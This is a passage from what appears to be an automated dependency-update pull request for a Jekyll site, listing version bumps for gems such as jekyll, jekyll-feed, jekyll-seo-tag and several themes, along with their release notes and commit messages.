optionRemoved unfinished parse_url supportUpdated spec for status supportUpdated line folder spec as per joyent/http_parserProvide better safety around on_status and on_urlAdded statuses to spec responsesEnsure HTTP parser uses later versionAdd status support to JRubyAdded support for HTTP status reasonMerge pull request #41 from robertjpayne/masterBetter handling on upgraded connectionsUpdated / added test cases for aborting the parserUpdate rspec development dependency to >= 3Ignore Gemfile.lockMerge pull request #34 from tmaier/patch-1Link to https URIs in READMEUpdate URIs in gemspecMerge pull request #33 from rkh/travisupdate readmeset up Travis CI
βοΈ i18n (indirect, 0.9.5 β 1.14.8) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ jekyll (indirect, 3.8.5 β 3.10.0) Β· Repo Β· Changelog
Release Notes
3.10.0 (from changelog)
Minor Enhancements
3.9.4
Bug Fixes
3.9.3
Bug Fixes
- 3.9.x: Support i18n 1.x (#9269)
- Backport #8880 for v3.9.x: Support both tzinfo v1 and v2 alongwith
non-half hour offsets (#9280)Development Fixes
3.9.2
Bug Fixes
- Lock
http_parser.rbgem tov0.6.xon JRuby (#8943)- Backport #8756 for v3.9.x: Respect collections_dir config within include tag (#8795)
- Backport #8965 for v3.9.x: Fix response header for content served via
jekyll serve(#8976)Development Fixes
3.9.1
Bug Fixes
3.9.0
Minor Enhancements
3.8.7
Fixes
- Prevent console warnings with Ruby 2.7 (#7948)
3.8.6
Bug Fixes
- Update log output for an invalid theme directory (#7734)
- Memoize
SiteDrop#documentsto reduce allocations (#7722)- Excerpt handling of custom and intermediate tags (#7467)
- Escape valid special chars in a site's path name (#7573)
- Revert memoizing
Site#docs_to_writeand refactor#documents(#7689)- Fix broken
include_relativeusage in excerpt (#7690)- Install platform-specific gems as required (3c06609)
Security Fixes
- Theme gems: ensure directories aren't symlinks (#7424)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ jekyll-avatar (indirect, 0.6.0 β 0.8.0) Β· Repo Β· Changelog
Release Notes
0.8.0
0.8.0 / 2022-04-15
Minor Enhancements
- Use
Kernel#formatto render<img />HTML tag (#46)- Check if username and size matches a pattern once (#48)
Bug Fixes
- Reduce allocations from computing username (#44)
- Stringify keys of
:attributeshash (#42)- Parse tag markup once per instance (#40)
- Compute
:srcsetwith an array of integer strings (#43)- Assign string values for attributes (#47)
- Parse only custom-host provided through ENV (#45)
Development Fixes
- Profile memory usage from rendering avatars (#41)
- Bundle only relevant files in the gem (#50)
- Upgrade to GitHub-native Dependabot (#52)
- Remove redundant specifications (#56)
- Improve context in workflow job names (#57)
- Remove
@benbalter-specific community health files (#58)- Update gem specification (#60)
- Add workflow to release gem via GH Actions (#63)
Documentation
- Fix typo in README.md (#62)
0.7.0
What's Changed
- Update rubocop-jekyll requirement from ~> 0.9.0 to ~> 0.10.0 (#38) @dependabot-preview
- Cache parsed host url to reduce allocations (#36) @ashmaroli
- Avoid unnecessary allocations for empty strings (#34) @ashmaroli
- Allow use and testing with Jekyll 4.0 (#32) @ashmaroli
- Lint with rubocop-jekyll (#33) @ashmaroli
- Update rake requirement from ~> 10.0 to ~> 12.3 (#22) @dependabot-preview
- Fix passing username as variable docs in README.md (#20) @chrismytton
- update readme (#19) @kenman345
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 57 commits:
Release :gem: v0.8.0Update history to reflect changes after `v0.7.0`Fix status badgeAdd workflow to release gem via GH Actions (#63)Update gem specification (#60)Update history to reflect merge of #62 [ci skip]Update README.md (#62)Merge pull request #58 from jekyll/transfer-cleanupremove @benbalter-specific community health filesUpdate status badgeMerge pull request #56 from benbalter/remove-redundant-specificsMerge branch 'main' into remove-redundant-specificsMerge pull request #57 from benbalter/workflow-job-namesImprove context in workflow job namesRemove redundant specificationsrm raketest on ruby 3 and 4fix rubocopCreate ci.ymlUpgrade to GitHub-native Dependabot (#52)Bundle only relevant files in the gem (#50)Parse only custom-host provided through ENV (#45)Check if username and size matches a pattern once (#48)Assign string values for attributes (#47)Use `Kernel#format` to render `<img />` HTML tag (#46)Compute :srcset with an array of integer strings (#43)Parse tag markup once per instance (#40)Profile memory usage from rendering avatars (#41)Stringify keys of :attributes hash (#42)Reduce allocations from computing username (#44)Update rubocop-jekyll requirement from ~> 0.9.0 to ~> 0.10.0 (#38)Create docs/SECURITY.mdCreate .github/funding.ymlCache parsed host url to reduce allocations (#36)Avoid unnecessary allocations for empty strings (#34)Allow use and testing with Jekyll 4.0 (#32)Merge pull request #33 from ashmaroli/rubocop-jekyllLint with rubocop-jekyllUpdate .github/settings.ymlUpdate .github/settings.ymlMerge pull request #22 from benbalter/dependabot/bundler/rake-tw-12.3Update rake requirement from ~> 10.0 to ~> 12.3Merge pull request #20 from chrismytton/patch-1Fix passing username as variable docsCreate .github/release-drafter.ymlMerge pull request #19 from kenman345/patch-1Merge branch 'master' into patch-1rubocopupdate readmeUpdate .github/ISSUE_TEMPLATE/bug_report.mdUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlCreate .github/ISSUE_TEMPLATE/bug_report.mdCreate .github/ISSUE_TEMPLATE/feature_request.mdUpdate .github/config.yml
βοΈ jekyll-coffeescript (indirect, 1.1.1 β 1.2.2) Β· Repo Β· Changelog
Release Notes
1.2.2
Bug Fixes
- Revert
jekyllto be just adevelopment_dependencyforv1.x.xseries.
1.2.1
Bug Fixes
- Re-introduce Ruby 2.3 support and test Jekyll 3.7+ (#33)
1.2.0
Development Fixes
- Require Ruby 2.3 (#27)
Major Enhancements
- style: Target Ruby 2.4 (#31)
Documentation
- Add essential step to readme (#32)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
Release :gem: v1.2.2`jekyll` can't be a runtime_dependency in v1.xRelease: v1.2.1Update history to reflect merge of #33 [ci skip]Re-introduce Ruby 2.3 support and test Jekyll 3.7+ (#33)Update HistoryRelease: v1.2.0chore (ci): remove deprecated `sudo: false` in .travis.ymlUpdate history to reflect merge of #32 [ci skip]Add essential step to readme (#32)Update history to reflect merge of #31 [ci skip]style: Target Ruby 2.4 (#31)chore(ci): test against oldest and newest ruby versions onlystyle: auto-gen-only-excludestyle: safe-auto-correctchore(deps): jekyll-rubocop 0.4chore(deps): pessimistic version constraintstyle: remove useless declarationschore(deps): rubocop-jekyll 0.3.0chore(deps): bump coffee-script-sourcechore(deps): bump rubocop-jekyllUpdate README.mdLint with rubocop-jekyllRubocop ~> 0.57.2Update history to reflect merge of #27 [ci skip]Require Ruby 2.3 (#27)
βοΈ jekyll-commonmark (indirect, 1.3.1 β 1.4.0) Β· Repo Β· Changelog
Release Notes
1.4.0
Minor Enhancements
Bug Fixes
- Refactor away extra abstractions (#53)
Development Fixes
- DRY begin-rescue-end block with a private helper (#28)
- Fix failing CI builds (#33)
- Remove gemspec dependency on Jekyll (#34)
- Test rendering with invalid configuration (#27)
- Refactor to improve readability (#37)
- Set up Continuous Integration via GH Actions (#46)
- Clean up gemspec (#47)
- Add workflow to release gem via GH Actions (#54)
Documentation
- Update README to link to commonmarker (#38)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 42 commits:
Release :gem: v1.4.0Update history to reflect merge of #54 [ci skip]Add workflow to release gem via GH Actions (#54)Update history to reflect merge of #53 [ci skip]Refactor away extra abstractions (#53)Update history to reflect merge of #47 [ci skip]Clean up gemspec (#47)Test gem build and gem install via GH Actions CIFix interpolation in workflow `job.name``matrix.include` should be `array` not `object`Update history to reflect merge of #46 [ci skip]Set up Continuous Integration via GH Actions (#46)Update history to reflect merge of #44 [ci skip]Merge pull request #44 from jekyll/support-cm-022Bump required minimum Ruby version to Ruby 2.6Require at least commonmarker-0.22chore(ci): test against latest versionsUpdate history to reflect merge of #38 [ci skip]Update README to link to commonmarker (#38)Update history to reflect merge of #37 [ci skip]Refactor to improve readability (#37)Update history to reflect merge of #27 [ci skip]Test rendering with invalid configuration (#27)Merge pull request #35 from torrocus/masterfeat: Remove Ruby 2.3 from AppVeyor configuration (end support for Ruby 2.3 EOL)docs: Remove gemnasium badge (no longer available)chore(ci): test Ruby 2.7feat: end support for Ruby 2.3 EOLchore(ci): test current stable versionschore: test latest rubocopchore: ignore vendor/bundlechore(dev): simplify require for versionUpdate history to reflect merge of #34 [ci skip]Merge pull request #34 from ashmaroli/remove-jekyll-dependencyUpdate jekyll-commonmark.gemspecRemove gemspec dependency on JekyllUpdate history to reflect merge of #33 [ci skip]Fix failing CI builds (#33)Update history to reflect merge of #28 [ci skip]DRY begin-rescue-end block with a private helper (#28)Update history to reflect merge of #29 [ci skip]Highlight fenced code-block contents with Rouge (#29)
βοΈ jekyll-commonmark-ghpages (indirect, 0.1.5 β 0.5.1) Β· Repo
Release Notes
0.5.1
What's Changed
- Loosen dependency to allow Jekyll < 4 by @yoannchaudet in #36
Full Changelog: v0.5.0...v0.5.1
0.5.0
What's Changed
- Remove garbage on unknown lang by @kou in #19
- Update commonmarker to 0.23.6 by @anticomputer in #23
- Bump version by @yoannchaudet in #24
- Add Dependabot config for Bundler and Actions usage by @JamesMGreene in #25
- Update rouge requirement from >= 2.0, < 4.0 to >= 2.0, < 5.0 by @dependabot in #26
- Security update: bump commonmarker to 0.23.7 by @anticomputer in #28
- Create pages-gem.yml by @tsusdere in #34
- Bump actions/checkout from 3 to 4 by @dependabot in #29
- Update commonmarker requirement from ~> 0.23.7 to >= 0.23.7, < 1.1.0 by @dependabot in #33
- Prep 0.5 release by @yoannchaudet in #35
New Contributors
- @kou made their first contribution in #19
- @anticomputer made their first contribution in #23
- @JamesMGreene made their first contribution in #25
- @dependabot made their first contribution in #26
- @tsusdere made their first contribution in #34
Full Changelog: v0.2.0...v0.5.0
0.2.0
What's Changed
- Bump commonmarker to the latest version by @yoannchaudet in #21
New Contributors
- @yoannchaudet made their first contribution in #21
Full Changelog: v0.1.6...v0.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 53 commits:
Merge pull request #36 from github/looseLoosen dependency to allow Jekyll < 4Merge pull request #35 from github/bump-0.5Prep 0.5 releaseMerge pull request #33 from github/dependabot/bundler/commonmarker-gte-0.23.7-and-lt-1.1.0Merge branch 'master' into dependabot/bundler/commonmarker-gte-0.23.7-and-lt-1.1.0Merge pull request #29 from github/dependabot/github_actions/actions/checkout-4Merge pull request #34 from github/publish-gemUpdate pages-gem.ymlUpdate pages-gem.ymlCreate pages-gem.ymlUpdate commonmarker requirement from ~> 0.23.7 to >= 0.23.7, < 1.1.0Bump actions/checkout from 3 to 4Merge pull request #28 from github/anticomputer-patch-1Bump gemMerge branch 'master' into anticomputer-patch-1Merge pull request #26 from github/dependabot/bundler/rouge-gte-2.0-and-lt-5.0Security update: bump commonmarker to 0.23.7Update rouge requirement from >= 2.0, < 4.0 to >= 2.0, < 5.0Merge pull request #25 from github/dependabot-configAdd Dependabot config for Bundler and Actions usageMerge pull request #24 from github/bumpBump versionMerge pull request #23 from github/anticomputer-commonmarker-0236Merge pull request #19 from kou/remove-garabage-on-unknown-langUpdate commonmarker to 0.23.6Merge pull request #21 from github/bump-commonmarkerAlso bump jekyll-commonmarkRemove old CIDrop 2.5 and update rubygemsUpdate actionsRemove Ruby 2.5Add fileMore tweaksInstall bundler in the ciInstall dependenciesAdd draft ciBump commonmarker to the latestRemove garbage on unknown lang:gem: 0.1.6Merge pull request #12 from github/fix-ciremove ruby 2.1 from appveyorrecent ruby onlydon't require a specific bundlerbundler ~> 2no square bracket in fn linkMerge pull request #5 from DirtyF/patch-1Merge pull request #7 from dmalan/masterMerge pull request #6 from robotdana/masterchore(deps): allow Rouge 2 and 3fixes typo and adds mention of other available extensionjekyll-commonmark is now processing the options in the initializerBump to Rouge 3.x
βοΈ jekyll-default-layout (indirect, 0.1.4 β 0.1.5) Β· Repo
Release Notes
0.1.5
- Allow Jekyll 4.x dependency range (#12) @SUPERCILEX
- update documentation for Jekyll 3.5.0+ (#9) @kenman345
- Appease Rubocop 0.51 (#6) @DirtyF
- Update copyright notice (#8) @DirtyF
- CI: test against Ruby 2.4 (#7) @DirtyF
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ jekyll-feed (indirect, 0.11.0 β 0.17.0) Β· Repo Β· Changelog
Release Notes
0.17.0
Documentation
- Update CI status badge (#363)
Development Fixes
- Add Ruby 3.1 to the CI matrix (#365)
Minor Enhancements
- Allow disabling of jekyll-feed while in development (#370)
0.16.0
Minor Enhancements
- Add support for
page.descriptionin front matter to become entry<summary>(#297)Bug Fixes
- Fold private methods into the
:rendermethod as local variables (#327)- Check
post.categoriesinstead ofpost.category(#357)- Switched xml_escape for
<![CDATA[]]>for post content (#332)Development Fixes
- Add Ruby 3.0 to CI (#337)
- Lock RuboCop to v1.18.x (#348)
- Add workflow to release gem via GH Action (#355)
Documentation
- Use
.atomextension in documented examples since we write an Atom feed (#359)
0.15.1
Bug Fixes
- MetaTag: when encoding for XML special characters, handle non-string objects (#326)
0.15.0
Minor Enhancements
- Add support for drafts (#316)
0.14.0
Minor Enhancements
- add support for categories (#153) (#233)
- add support for tags (#264)
- Make posts limit configurable (#314)
- XML escape the title field of feed_meta (#306)
Bug Fixes
- Fix feed link when post title contains HTML (#305)
Development Fixes
0.13.0
Minor Enhancements
Development Fixes
- test: use categories in post (#249)
0.12.1
- Release: v0.12.0 (#271)
Bug Fixes
- Re-introduce Ruby 2.3 support and test Jekyll 3.7+ (#272)
0.12.0
- Allow Jekyll v4 (still alpha)
Development Fixes
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ jekyll-github-metadata (indirect, 2.12.1 β 2.16.1) Β· Repo Β· Changelog
Release Notes
2.16.1
Bug Fixes
- Update references of help.github.com to docs.github.com (#260)
2.16.0
Minor Enhancements
- Update octokit requirement from ~> 4.0, != 4.4.0 to >= 4, != 4.4.0, < 7 (#243)
- Prevent loading all GH data on reset (#245)
- Deprecate unnecessary constant in
GitHubMetadata::Client(#239)Development Fixes
2.15.0
Bug Fixes
- Inject
site.githubvia:pre_renderstep rather than:after_init(#238)Documentation
- Add GitHub Actions badge and remove Travis one (#236)
2.14.0
Minor Enhancements
- Use owner name as site title for User and Organization sites. (#197)
- Add
site.github.public_repositories[].releases(#224)- Add
site.github.public_repositories[].contributors(#234)Documentation
- docs: Add dev docs (#212)
- set
PAGES_GITHUB_HOSTNAMEto hostname without protocol (#191)- Add
JEKYLL_ENVlimitation for git remote (#185)Development Fixes
- Restore log level after running tests that modify it. (#202)
- Add GitHub Actions CI (#211)
- Update rubocop-jekyll requirement from
~> 0.5.0to~> 0.12.0(#226)- Create dependabot.yml (#225)
- Add rubocop todo file (#230)
- Upgrade rspec to 3.11.x (#231)
- CI: use 'main' branch instead of 'master' (#232)
- Add release workflow (#235)
New Contributors
- @lardieri made their first contribution in #200
- @MichaelCurrin made their first contribution in #212
- @dependabot made their first contribution in #226
- @Shegox made their first contribution in #191
- @9bow made their first contribution in #234
- @at-ishikawa made their first contribution in #185
Full Changelog: v2.13.0...v2.14.0
2.13.0
Minor Enhancements
- Lessen Jekyll dependency (#164)
- Enable support for
topicsproperty (#166)- Allow detecting archived or disabled repos (#176)
Bug Fixes
- Conditionally memoize certain private methods in EditLinkTag (#163)
- Fix faraday connectionfailed issue (#178)
- MetadataDrop: don't use instance variable to check mutations (#173)
Documentation Fixes
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ jekyll-mentions (indirect, 1.4.1 β 1.6.0) Β· Repo Β· Changelog
Release Notes
1.6.0
Minor Enhancements
- Allow configuring base URL in page front matter (#72)
- Incorporate document data only if it has override (#73)
Development Fixes
- ci: test against Jekyll 4.0
- style: target Ruby 2.4
- ignore vendor/bundle
Bug Fixes
- Support handling body tag across multiple lines (#70)
1.5.1
Bug Fixes
- Re-introduce Ruby 2.3 support and test with Jekyll 3.7 and beyond (#69)
1.5.0
Development Fixes
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
chore(release): v1.6.0 :gem:style: target Ruby 2.4chore: ignore vendor/bundlechore(ci): use latest versionsUpdate history to reflect merge of #73 [ci skip]Incorporate document data only if it has override (#73)Update history to reflect merge of #70 [ci skip]Support handling body tag across multiple lines (#70)Update history to reflect merge of #72 [ci skip]Allow configuring base URL in page front matter (#72)Enable Layout/IndentFirstArgument CopRelease: v1.5.1Update history to reflect merge of #69 [ci skip]Re-introduce Ruby 2.3 support and test Jekyll 3.7+ (#69)Release: v1.5.0chore (ci): remove deprecated `sudo: false` in .travis.ymlchore(ci): Add Ruby 2.6, drop Ruby 2.3chore(deps: add bundlerUpdate history to reflect merge of #67 [ci skip]Reintroduce style checks (#67)chore(ci): skip style check for nowchore(ci): test oldest and latest Ruby versions onlychore(deps): :up: jekyll-rubocop 0.4Update history to reflect merge of #65 [ci skip]chore(deps): rubocop-jekyll 0.3 (#65)
βοΈ jekyll-optional-front-matter (indirect, 0.3.0 β 0.3.2) Β· Repo Β· Changelog
Release Notes
0.3.2
- Support Jekyll 4.x (#20) @leleabhinav
- update documentation (#15) @kenman345
- Update README.md for Usage (#13) @ketozhang
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 46 commits:
Bump jekyll-optional-front-matter to 0.3.2test against jekyll 4.xremove cache dirbump rubocopMerge pull request #20 from leleabhinav/change-gemspecrubocop fixesadd rubocop-performancebump ruby version to 2.4 as Jekyll 4.x doesn't support itsupport Jekyll 4.xCreate docs/SECURITY.mdCreate .github/funding.ymlUpdate .github/settings.ymlUpdate .github/settings.ymlCreate .github/release-drafter.ymlMerge pull request #15 from kenman345/patch-1Merge branch 'master' into patch-1correct rubocopupdate documentationUpdate .github/ISSUE_TEMPLATE/bug_report.mdUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlCreate .github/ISSUE_TEMPLATE/bug_report.mdCreate .github/ISSUE_TEMPLATE/feature_request.mdUpdate .github/config.ymlMerge pull request #13 from ketozhang/patch-1Update README.md for UsageUpdate docs/CONTRIBUTING.mdUpdate .github/config.ymlCreate docs/CONTRIBUTING.mdCreate docs/CODE_OF_CONDUCT.mdUpdate .github/config.ymlDelete .github/CODE_OF_CONDUCT.mdUpdate .github/config.ymlCreate .github/CODE_OF_CONDUCT.mdUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlUpdate .github/CODEOWNERSUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlUpdate .github/CODEOWNERS
βοΈ jekyll-readme-index (indirect, 0.2.0 β 0.3.0) Β· Repo
Release Notes
0.3.0
- Jekyll 4.x support (#16)
- Add with_frontmatter option to README (#12) @KrzysztofKarol
- Add support for readmes with front matter (#11) @qwtel
- update documentation (#10) @kenman345
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 46 commits:
Bump jekyll-readme-index to 0.3.0Merge pull request #16 from benbalter/jekyll-4use ruby 2.5remove even more cacheremove more cacheremove cachejekyll 4 supportMerge pull request #12 from LintYourLife/add-with-frontmatter-option-to-readmeAdd with_frontmatter option to READMECreate docs/SECURITY.mdCreate .github/funding.ymlUpdate .github/settings.ymlUpdate .github/settings.ymlCreate .github/release-drafter.ymlMerge pull request #11 from qwtel/with-frontmatterAdd support for readme's with front matterMerge pull request #10 from kenman345/patch-1Merge branch 'master' into patch-1rubocopupdate documentationUpdate .github/ISSUE_TEMPLATE/bug_report.mdUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlCreate .github/ISSUE_TEMPLATE/bug_report.mdCreate .github/ISSUE_TEMPLATE/feature_request.mdUpdate .github/config.ymlUpdate docs/CONTRIBUTING.mdUpdate .github/config.ymlCreate docs/CONTRIBUTING.mdCreate docs/CODE_OF_CONDUCT.mdUpdate .github/config.ymlDelete .github/CODE_OF_CONDUCT.mdUpdate .github/config.ymlCreate .github/CODE_OF_CONDUCT.mdUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlUpdate .github/CODEOWNERSUpdate .github/settings.ymlUpdate .github/config.ymlUpdate .github/no-response.ymlUpdate .github/stale.ymlUpdate .github/CODEOWNERS
βοΈ jekyll-redirect-from (indirect, 0.14.0 β 0.16.0) Β· Repo Β· Changelog
Release Notes
0.16.0
Minor Enhancements
- Allows generation of
redirects.jsonto be disabled (#207)- Allow redirects from and for subclasses of page and document (#204)
Bug Fixes
- Use
Hash#key?instead ofHash#keys.any?(#201)Development Fixes
- Target Ruby 2.4
- Stop testing with backwards-compatible site config (#211)
Documentation
- Simplifies YAML for
redirect_to(#185)
0.15.0
Development Fixes
- chore(deps): rubocop-jekyll 0.3 (#187)
Bug Fixes
- Allow testing and using with Jekyll 4.x (#196)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
chore(release): :gem: v0.16.0chore(deps): target Ruby 2.4chore: ignore vendor/bundleUpdate history to reflect merge of #204 [ci skip]Allow redirects from and for subclasses of page and document (#204)Update history to reflect merge of #207 [ci skip]Allows generation of redirects.json to be disabled (#207)Update history to reflect merge of #211 [ci skip]Stop testing with backwards-compatible site config (#211)Update history to reflect merge of #201 [ci skip]Use `Hash#key?` instead of `Hash#keys.any?` (#201)Update history to reflect merge of #185 [ci skip]Simplifies YAML for redirect_to (#185)Release: v0.15.0Update history to reflect merge of #196 [ci skip]Allow testing and using with Jekyll 4.x (#196)chore (ci): remove deprecated `sudo: false` in .travis.ymlchore(ci): Add Ruby 2.6, drop Ruby 2.3chore(deps): relax version constraint on bundlerchore(ci): test oldest and latest Ruby versions onlystyle: auo-gen-exclude-onlystyle: safe-auto-correctchore(deps): rubocop-jekyll 0.4Update history to reflect merge of #187 [ci skip]chore(deps): rubocop-jekyll 0.3 (#187)chore(ci): match GitHub Pages versionLint with rubocop-jekyllRubocop ~> 0.57.2
βοΈ jekyll-relative-links (indirect, 0.6.0 β 0.6.1) Β· Repo
Commits
See the full diff on Github. The new version differs by 9 commits:
Bump jekyll-relative-links to 0.6.1Merge pull request #59 from benbalter/test-jekyll-4Merge branch 'master' into test-jekyll-4bump rubocoptest in Jekyll 4Merge pull request #57 from benbalter/dependabot/bundler/jekyll-gte-3.3-and-lt-5.0Update jekyll requirement from ~> 3.3 to >= 3.3, < 5.0Create docs/SECURITY.mdCreate .github/funding.yml
βοΈ jekyll-remote-theme (indirect, 0.4.0 β 0.4.3) Β· Repo
Release Notes
0.4.3
- Updated to use HEAD instead of master as default branch (#87) @IanLee1521
- Added extra context to error message when remote theme download fails (#85) @IanLee1521
- Require kramdown-parser-gfm to fix travis (#86) @benbalter
- Fixes #76 (#77) @orchardcc
0.4.2
Jekyll 4.0 support (#61)
0.4.1
- Update jekyll requirement from ~> 3.5 to >= 3.5, < 5.0 (#54) @dependabot-preview
- Require rubyzip to version 1.3.0 or later
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
Bump jekyll-remote-theme to 0.4.3Merge pull request #87 from IanLee1521/default-branch-headUpdated README to denote that HEAD is a ref, not a branchUpdated to use HEAD instead of master as default branchMerge pull request #85 from IanLee1521/better-msg-on-download-errorUpdated 404 message in test caseMerge branch 'master' into better-msg-on-download-errorMerge pull request #86 from benbalter/travis-fixrequire kramdown-parser-gfm to fix travisAdded extra context to error message when remote theme download failsMerge pull request #77 from orchardcc/fix-76Fixes #76Bump jekyll-remote-theme to 0.4.2Merge pull request #61 from benbalter/jekyll-4-0just use ruby 2.5use released primer versionclean upMerge branch 'master' into jekyll-4-0bump rubocop versionBump jekyll-remote-theme to 0.4.1Merge branch 'master' of https://github.com/benbalter/jekyll-remote-themeMerge pull request #62 from alxddh/alxddh-patch-1Upgrade rubyzip to version 1.3.0 or laterignore cachejekyll 4.0 supportMerge branch 'master' of https://github.com/benbalter/jekyll-remote-themeMerge pull request #54 from benbalter/dependabot/bundler/jekyll-gte-3.5-and-lt-5.0Update jekyll requirement from ~> 3.5 to >= 3.5, < 5.0
βοΈ jekyll-seo-tag (indirect, 2.5.0 β 2.8.0) Β· Repo Β· Changelog
Release Notes
2.8.0
Minor Enhancements
- Allow to set type for author (#427)
- Allow setting
author.url(#453)- Implement Facebook domain verification (#455)
- Add
og:image:altandtwitter:image:alt(#438)- Sort JSON-LD data by key (#458)
Bug Fixes
Development Fixes
2.7.1
Development Fixes
- refactor: mutate site payload instead of duplicating it (#419)
2.7.0
Minor Enhancements
- Change pagination message with
seo_paginator_messageoption (#324)- Make Twitter Summary Card without having Twitter account (#284)
- Prefer site.tagline to site.description for page title (#356)
- Render og:locale meta only when defined explicitly (#388)
Bug Fixes
- Ensure a single leading
@for twitter usernames (#367)Development Fixes
- chore(deps): require Ruby > 2.4.0 EOL
- test: fix locale specs that use the fallback locale (#360)
- refactor: Replace read-only empty hash with private constant (#418)
- refactor: Mutate hash literals instead of duplicating them (#417)
- refactor: Reduce allocations of instance-agnostic objects (#376)
- refactor: Memoize #author_hash in SeoTag::AuthorDrop (#342)
- refactor: simplify conditional in SeoTag::Drop#date_modified (#343)
- chore(ci): profile seo-tag plugin on a third-party repository (#414)
- chore(ci): Jekyll v4.0 (#372)
- chore(ci): test against current stable Ruby 2.5 and 2.7 (#385)
- style: align with latest jekyll-rubocop (#382)
- fix: Travis builds for Jekyll 3.x (#415)
Documentation
- Structured Data Testing Tool is deprecated (#409)
- Rename Google webmaster tools to Google Search Console (#403)
- Improve documentation on plugin usage (#399)
- remove Google+ from example snippet (#358)
- HTTPS link to https://ogp.me/ (#359)
- HTTPS links to schema.org (#350)
- use example.com for example URL (#351)
2.6.1
Development Fixes
- Test against Jekyll 4.x (#336)
2.6.0
Minor Enhancements
- Twitter Image and Title (#330)
Bug Fixes
Development Fixes
- Relax version constraint on Bundler (#325)
- chore(ci): Add Ruby 2.6, drop Ruby 2.3 (#326)
- chore (ci): remove deprecated
sudo: falsein .travis.yml (#333)- Lint Ruby code with rubocop-jekyll gem (#302)
- chore(deps): bump rubocop-jekyll to v0.4 (#320)
- chore(deps): bump rubocop-jekyll to v0.3 (#316)
- Correct RuboCop offenses in spec files (#319)
Documentation
- Rectify error in Usage documentation (#328)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ jekyll-sitemap (indirect, 1.2.0 β 1.4.0) Β· Repo Β· Changelog
Release Notes
1.4.0
Minor Enhancements
- Avoid overwriting an existing robots.txt (#246)
Bug Fixes
- Simulate
last_modified_atinjection by plugin (#256)
1.3.1
Bug Fixes
- Update plugin metadata and dev environment (#244)
Development Fixes
- Lock requirement for
jekyll-last-modified-atto>= 1.0
1.3.0
- Allow Jekyll v4 (still alpha)
Documentation
Development Fixes
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 38 commits:
chore(release): :gem: v1.4.0Update history to reflect merge of #256 [ci skip]Simulate `last_modified_at` injection by plugin (#256)Revert "chore(release): :gem: v1.4.0"chore(tests): exclude vendor/bundlechore(release): :gem: v1.4.0chore(ci): match current versionsUpdate history to reflect merge of #246 [ci skip]Avoid overwriting an existing robots.txt (#246)Release: v1.3.1Require at least `jekyll-last-modified-at-1.0.0`Update history to reflect current `master`Update history to reflect merge of #244 [ci skip]Update plugin metadata and dev environment (#244)relax constraint on jekyll-last-modified-atUpdate history to reflect merge of #243 [ci skip]Release: v1.3.0 (#243)chore (ci): remove deprecated `sudo: false` in .travis.ymlchore(ci): Add Ruby 2.6, drop Ruby 2.3chore(deps): relax version constraint on bundlerchore(ci): test oldest and latest Ruby versionsstyle: auto-gen-only-excludestyle: safe-auto-correctchore(deps): rubocop-jekyll 0.4Update history to reflect merge of #227 [ci skip]chore(deps): rubocop-jekyll-0.3 (#227)chore(ci): match GitHub Pages versionsLint with rubocop-jekyllMatch Jekyll's current versionUse current GitHub Pages versionsStop testing againt Ruby 2.2Fix globUpdate history to reflect merge of #214 [ci skip]Use Ruby 2.3 and Rubocop 0.55 (#214)Update history to reflect merge of #213 [ci skip]add PDF file exclusion documentation (#213)Update history to reflect merge of #207 [ci skip]correct capitalization of GitHub (#207)
βοΈ jekyll-swiss (indirect, 0.4.0 β 1.0.0) Β· Repo
Sorry, we couldnβt find anything useful about this release.
βοΈ jekyll-theme-architect (indirect, 0.1.1 β 0.2.0) Β· Repo
Release Notes
0.2.0
- Add head-custom.html to allow easier customization of the
<head>#48
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
Merge pull request #48 from pages-themes/head-customUpdate head-custom.htmlUpdate head-custom.htmlAdd head-custom.html to allow easier customization of the <head>Merge pull request #47 from pages-themes/repo-name-scssReplace _sass/architect.scss with a simple importAdd _sass/architect.scss to allow importing with theme name while using jekyll-remote-themeUpdate README.mdFix cibuild and remove .jekyll-cacheFix rubocop to work with vendor/ gemsUpdate .github/workflows/ci.yamlRely on rubocop-github for Ruby formattingUpdate .github/settings.ymlUpdate .github/workflows/ci.yamlCreate .github/workflows/ci.yamlUpdate docs/CONTRIBUTING.mdUpdate docs/SUPPORT.mdUpdate .github/config.ymlFix linting errors & fix GitHub asset URLRuby 2.6 & some frozen_string_literal commentslessen Jekyll dependencyMerge pull request #29 from coliff/patch-1Fix html5shiv linkbump ruby version in .travis.yml to 2.5maMerge pull request #22 from askadu/hotfix-cssFixes #21
βοΈ jekyll-theme-cayman (indirect, 0.1.1 β 0.2.0) Β· Repo
Release Notes
0.2.0
- Add head-custom.html to allow easier customization of the
<head>#133
